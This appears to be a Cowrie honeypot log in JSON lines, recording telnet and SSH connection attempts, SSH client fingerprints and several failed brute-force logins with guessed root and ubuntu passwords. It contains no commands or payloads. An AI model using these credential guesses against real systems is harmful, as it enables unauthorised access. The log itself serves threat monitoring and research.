{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38072,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1747a1835af","protocol":"telnet","message":"New connection: 152.42.224.71:38072 (10.17.0.5:23) [session: d1747a1835af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:26.505084Z"}
{"eventid":"cowrie.session.closed","duration":10.997741460800171,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:27.542817Z","src_ip":"152.42.224.71","session":"e28d963412a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38086,"dst_ip":"10.17.0.5","dst_port":23,"session":"890e7c67fed4","protocol":"telnet","message":"New connection: 152.42.224.71:38086 (10.17.0.5:23) [session: 890e7c67fed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:31.732390Z"}
{"eventid":"cowrie.session.closed","duration":7.4894678592681885,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:31.792459Z","src_ip":"152.42.224.71","session":"719697c75c41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.74390411376953,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:37.134880Z","src_ip":"134.209.74.135","session":"4df5ca3c98f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00178217887878,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:38.147552Z","src_ip":"152.42.224.71","session":"d563dc4339d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":41344,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e2882716632","protocol":"ssh","message":"New connection: 37.233.85.71:41344 (159.203.135.109:22) [session: 3e2882716632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:44.228692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:44.232843Z","src_ip":"37.233.85.71","session":"3e2882716632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:44.345698Z","src_ip":"37.233.85.71","session":"3e2882716632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hamster","message":"login attempt [root/hamster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:44.674529Z","src_ip":"37.233.85.71","session":"3e2882716632","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:45.786459Z","src_ip":"37.233.85.71","session":"3e2882716632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"080b0c046fd5","protocol":"telnet","message":"New connection: 152.42.224.71:60752 (10.17.0.5:23) [session: 080b0c046fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:48.402545Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42710,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7a88545e0f","protocol":"telnet","message":"New connection: 152.42.224.71:42710 (10.17.0.5:23) [session: fb7a88545e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:56.516682Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":60618,"dst_ip":"10.17.0.5","dst_port":22,"session":"98076806b4e1","protocol":"ssh","message":"New connection: 103.75.182.198:60618 (10.17.0.5:22) [session: 98076806b4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:57.577780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:57.582506Z","src_ip":"103.75.182.198","session":"98076806b4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42726,"dst_ip":"10.17.0.5","dst_port":23,"session":"e124e9907ff2","protocol":"telnet","message":"New connection: 152.42.224.71:42726 (10.17.0.5:23) [session: e124e9907ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:57.712842Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:57.842637Z","src_ip":"103.75.182.198","session":"98076806b4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77777","message":"login attempt [root/77777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:58.579191Z","src_ip":"103.75.182.198","session":"98076806b4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:15:59.826560Z","src_ip":"103.75.182.198","session":"98076806b4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.37042021751404,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:01.600539Z","src_ip":"152.42.224.71","session":"ad8b4f9836aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37422,"dst_ip":"10.17.0.5","dst_port":23,"session":"49a480973f15","protocol":"telnet","message":"New connection: 152.42.224.71:37422 (10.17.0.5:23) [session: 49a480973f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:07.052559Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37438,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c76b645420b","protocol":"telnet","message":"New connection: 152.42.224.71:37438 (10.17.0.5:23) [session: 5c76b645420b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:09.612122Z"}
{"eventid":"cowrie.session.closed","duration":38.42849826812744,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:10.160799Z","src_ip":"152.42.224.71","session":"890e7c67fed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40406,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d612fca515f","protocol":"ssh","message":"New connection: 80.94.92.184:40406 (10.17.0.5:22) [session: 0d612fca515f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:14.331225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:14.607735Z","src_ip":"80.94.92.184","session":"0d612fca515f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:14.612489Z","src_ip":"80.94.92.184","session":"0d612fca515f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":60172,"dst_ip":"10.17.0.5","dst_port":22,"session":"b480ad2b71a2","protocol":"ssh","message":"New connection: 166.1.144.134:60172 (10.17.0.5:22) [session: b480ad2b71a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:15.233540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:15.243307Z","src_ip":"166.1.144.134","session":"b480ad2b71a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:15.349038Z","src_ip":"166.1.144.134","session":"b480ad2b71a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jefry","message":"login attempt [root/jefry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:15.790592Z","src_ip":"166.1.144.134","session":"b480ad2b71a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:15.908699Z","src_ip":"80.94.92.184","session":"0d612fca515f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.511857271194458,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:16.224583Z","src_ip":"152.42.224.71","session":"e124e9907ff2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:16.911522Z","src_ip":"166.1.144.134","session":"b480ad2b71a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.60753870010376,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:17.186939Z","src_ip":"152.42.224.71","session":"11f6f881d290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:17.242573Z","src_ip":"80.94.92.184","session":"0d612fca515f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50712,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad679c7f7b50","protocol":"telnet","message":"New connection: 152.42.224.71:50712 (10.17.0.5:23) [session: ad679c7f7b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:18.585851Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50714,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d6220d00c2c","protocol":"telnet","message":"New connection: 152.42.224.71:50714 (10.17.0.5:23) [session: 1d6220d00c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:25.730636Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49292,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c256e0c98b2","protocol":"telnet","message":"New connection: 152.42.224.71:49292 (10.17.0.5:23) [session: 9c256e0c98b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:27.605429Z"}
{"eventid":"cowrie.session.closed","duration":41.38010621070862,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:29.782500Z","src_ip":"152.42.224.71","session":"080b0c046fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54268,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac963175746","protocol":"telnet","message":"New connection: 152.42.224.71:54268 (10.17.0.5:23) [session: 3ac963175746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:37.246368Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8848133a035","protocol":"ssh","message":"New connection: 52.236.56.129:35850 (10.17.0.5:22) [session: c8848133a035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:41.620663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:41.625301Z","src_ip":"52.236.56.129","session":"c8848133a035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:41.694726Z","src_ip":"52.236.56.129","session":"c8848133a035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"setup","message":"login attempt [root/setup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:42.004261Z","src_ip":"52.236.56.129","session":"c8848133a035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:43.076090Z","src_ip":"52.236.56.129","session":"c8848133a035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69820165634155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:43.310203Z","src_ip":"152.42.224.71","session":"5c76b645420b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.5340838432312,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:47.050668Z","src_ip":"152.42.224.71","session":"fb7a88545e0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":54930,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40dc992227d","protocol":"ssh","message":"New connection: 43.135.139.74:54930 (10.17.0.5:22) [session: c40dc992227d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:47.408329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:47.413418Z","src_ip":"43.135.139.74","session":"c40dc992227d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:47.485736Z","src_ip":"43.135.139.74","session":"c40dc992227d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:47.794562Z","src_ip":"43.135.139.74","session":"c40dc992227d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:48.867102Z","src_ip":"43.135.139.74","session":"c40dc992227d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53264,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a01377cf28","protocol":"telnet","message":"New connection: 152.42.224.71:53264 (10.17.0.5:23) [session: e6a01377cf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:48.935573Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":59078,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad953f870182","protocol":"ssh","message":"New connection: 117.121.214.50:59078 (10.17.0.5:22) [session: ad953f870182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:16:53.659330Z"}
